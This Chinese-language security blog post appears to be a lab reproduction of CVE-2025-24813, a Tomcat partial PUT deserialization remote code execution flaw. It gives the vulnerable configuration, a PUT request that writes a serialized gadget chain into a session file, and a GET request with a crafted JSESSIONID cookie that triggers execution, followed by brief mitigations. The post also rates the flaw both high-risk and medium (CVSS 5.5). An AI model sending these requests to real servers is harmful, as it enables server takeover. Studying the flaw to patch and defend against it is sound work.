作者:Howell@Timeline Sec 本文字数:3141 阅读时长:2~4mins 声明:仅供学习参考使用,请勿用作违法用途,否则后果自负
Apache Tomcat 是一个开源的、轻量级的 Java Servlet 容器和 Web 服务器,由Apache软件基金会开发和维护,支持运行 Java Servlet、JavaServer Pages (JSP) 和其他基于 Java 的 Web 应用程序,广泛用于开发和部署企业级 Web 应用。
漏洞编号:CVE-2025-24813 CVE-2025-24813 是一个高危逻辑漏洞,该漏洞的 CVSS 评分为 5.5,属于中危漏洞(可利用性较差)。漏洞产生的根本原因是Apache Tomcat 的反序列化机制未对用户输入进行严格验证,攻击者可通过构造恶意序列化对象绕过安全限制,处理 partial PUT 请求时,攻击者利用临时文件路径处理中的缺陷(将路径分隔符"/"替换为“.”),通过特定条件(如启用默认 servlet 的写入功能)实现远程代码执行并控制服务器。
1)影响版本
2)其他条件:
安装 JAVA 一定要选择 JAVA 8,这是我试验的这么多版本中成功率最高的一个版本,成功率几乎为 100%!!!
在 JAVA 中国[1] 下载JAVA,并配置环境变量。
在 Apache Tomcat[2] 下载对应漏洞版本的 Tomcat,并配置用户变量。
打开 Tomcat 文件夹,在 conf/web.xml
中添加如下配置,开启 File 文件会话存储
<Context>
<Manager className="org.apache.catalina.session.PersistentManager">
<Store className="org.apache.catalina.session.FileStore"/>
</Manager>
</Context>
在 conf/web.xml
中,将 DefaultServlet 的 readonly 配置为 False,启用写入功能。
<servlet>
<servlet-name>default</servlet-name>
<servlet-class>org.apache.catalina.servlets.DefaultServlet</servlet-class>
<init-param>
<param-name>debug</param-name>
<param-value>0</param-value>
</init-param>
<init-param>
<param-name>readonly</param-name>
<param-value>false</param-value>
</init-param>
<load-on-startup>1</load-on-startup>
</servlet>
下载 Commons Collections 3.2.1.jar,然后进来到 Tomcat 根目录,进入 webapps\ROOT\WEB-INF
,在此路径下新建 lib
文件夹,将 CC 放入。
启动 Tomcat,并访问 8080 端口,查看是否启动成功。
使用 yakit 抓包。
使用 yakit 中的 yso-java hack 生成一个 base64 的序列化利用链(当然,使用 Java Chains 或者 ysoseri-all.jar 也是可以的)。
由于构造链是 base64 编码文件,如果直接存入并读取是无效的,所以只能发一个二进制文件。于是,在这里添加一个 base64 解码标签,并使用 POC 发送包。
PUT /poc/session HTTP/1.1
Host: localhost:8080
Content-Length: 1000
Content-Range: bytes 0-1000/1200
{{base64decode(反序列化文件内容)}}
在 HTTP 协议中,Content-Range
字段用于表示客户端通过分段传输的方式上传或下载文件。例如 Content-Range: bytes 0-1000/1200
表示文件总大小是1200字节,本次上传的是前1001字节(0-1000),后续上传剩余部分(1001-1200)。
发送成功后,在 Tomcat 根目录的 work/Catalina/localhost/ROOT
目录下会生成一个 .poc.session
文件。
使用 partial PUT 请求将恶意的序列化数据写入到会话文件中,在开启文件会话持久化(默认存储位置),并且在文件上传未完成的情况下,内容会被临时存储在 Tomcat 的工作目录 work\Catalina\localhost\ROOT
。
然后发送触发 POC 的包即可。
GET / HTTP/1.1
Host: localhost:8080
Cookie: JSESSIONID=.poc
成功弹出计算器!
web.xml
中确保 readonly=true
。context.xml
中的 PersistentManager 配置。参考资料
[1]
JAVA 中国: https://www.oracle.com/cn/java/technologies/downloads/
[2]
Apache Tomcat: https://tomcat.apache.org/
本文分享自 Timeline Sec 微信公众号,前往查看
如有侵权,请联系 cloudcommunity@tencent.com 删除。
本文参与 腾讯云自媒体同步曝光计划 ,欢迎热爱写作的你一起参与!